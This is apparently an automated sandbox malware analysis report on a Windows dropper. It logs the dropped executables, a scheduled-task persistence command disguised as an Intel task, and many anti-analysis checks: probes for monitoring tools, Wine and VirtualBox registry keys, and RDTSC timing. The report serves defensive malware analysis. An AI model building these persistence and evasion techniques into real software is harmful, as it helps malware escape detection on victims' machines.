Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016853001\80f68847d3.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016853001\80f68847d3.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016853001\80f68847d3.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1016853001\80f68847d3.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016853001\80f68847d3.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\Temp\main\in.exe

Process created: C:\Windows\System32\schtasks.exe schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016852001\95ae71a780.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016853001\80f68847d3.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Checks if the current machine is a virtual machine (disk enumeration)

Source: C:\Windows\SysWOW64\svchost.exe

Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, Sleep	graph_6-37632
Source: C:\Users\user\Desktop\file.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess	graph_0-12061
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess	graph_2-9825

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	System information queried: FirmwareTableInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	System information queried: FirmwareTableInformation

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\AppData\Local\Temp\1016853001\80f68847d3.exe	API/Special instruction interceptor: Address: 7FFBCB7AD044
Source: C:\Windows\SysWOW64\svchost.exe	API/Special instruction interceptor: Address: 7FFBCB7AD044

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016853001\80f68847d3.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1016853001\80f68847d3.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: svchost.exe, 00000029.00000002.2372420603.0000000002D00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AUTORUNSC.EXE
Source: svchost.exe, 00000029.00000002.2372420603.0000000002D00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PY.EXELORDPE.EXEDNSPY.EXEPETOOLS.EXEAUTORUNSC.EXERESOURCEHACKER.EXEFILEMON.EXEREGMON.EXEWINDANR.EXEA
Source: svchost.exe, 00000029.00000002.2372420603.0000000002D00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OLLYDBG.EXE
Source: skotes.exe, 00000006.00000002.2681819982.000000000145B000.00000004.00000020.00020000.00000000.sdmp, 80f68847d3.exe, 00000023.00000002.2383484429.00000000008FC000.00000004.00000001.01000000.0000000E.sdmp, 80f68847d3.exe, 00000023.00000002.2385449886.0000000002CB0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: ORIGINALFILENAMECFF EXPLORER.EXE:
Source: svchost.exe, 00000029.00000002.2372420603.0000000002D00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: X64DBG.EXE
Source: svchost.exe, 00000029.00000002.2372420603.0000000002D00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: REGMON.EXE
Source: skotes.exe, 00000006.00000002.2681819982.000000000145B000.00000004.00000020.00020000.00000000.sdmp, 80f68847d3.exe, 00000023.00000002.2383484429.00000000008FC000.00000004.00000001.01000000.0000000E.sdmp, 80f68847d3.exe, 00000023.00000002.2385449886.0000000002CB0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: INTERNALNAMECFF EXPLORER.EXE
Source: svchost.exe, 00000029.00000002.2372420603.0000000002D00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: EVERYWHERE.EXEFIDDLER.EXEIDA.EXEIDA64.EXEIMMU!
Source: svchost.exe, 00000029.00000002.2372420603.0000000002D00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PETOOLS.EXE
Source: svchost.exe, 00000029.00000002.2372420603.0000000002D00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: FIDDLER.EXE
Source: svchost.exe, 00000029.00000002.2372420603.0000000002D00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: MP.EXEX64DBG.EXEX32DBG.EXEOLLYDBG.EXEPROCESSHA
Source: svchost.exe, 00000029.00000002.2372420603.0000000002D00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TORUNS.EXEDUMPCAP.EXEDE4
Source: svchost.exe, 00000029.00000002.2372420603.0000000002D00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DUMPCAP.EXE
Source: svchost.exe, 00000029.00000002.2372420603.0000000002D00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WINDANR.EXE
Source: svchost.exe, 00000029.00000002.2372420603.0000000002D00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: FILEMON.EXE

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A79062 second address: A79078 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B30D7C3A2h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A77FE1 second address: A77FF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F6B312295E6h 0x0000000a jno 00007F6B312295E6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7816D second address: A78194 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007F6B30D7C396h 0x0000000e jmp 00007F6B30D7C3A9h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A78194 second address: A7819E instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F6B312295E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7819E second address: A781C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F6B30D7C396h 0x0000000a jmp 00007F6B30D7C3A9h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A781C1 second address: A781C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7831C second address: A78331 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F6B30D7C3A0h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A788D3 second address: A788ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6B312295F4h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7B199 second address: A7B1BD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push edx 0x0000000a jnl 00007F6B30D7C396h 0x00000010 pop edx 0x00000011 push ecx 0x00000012 push eax 0x00000013 pop eax 0x00000014 pop ecx 0x00000015 popad 0x00000016 mov eax, dword ptr [esp+04h] 0x0000001a push eax 0x0000001b push edx 0x0000001c push ecx 0x0000001d jg 00007F6B30D7C396h 0x00000023 pop ecx 0x00000024 rdtsc
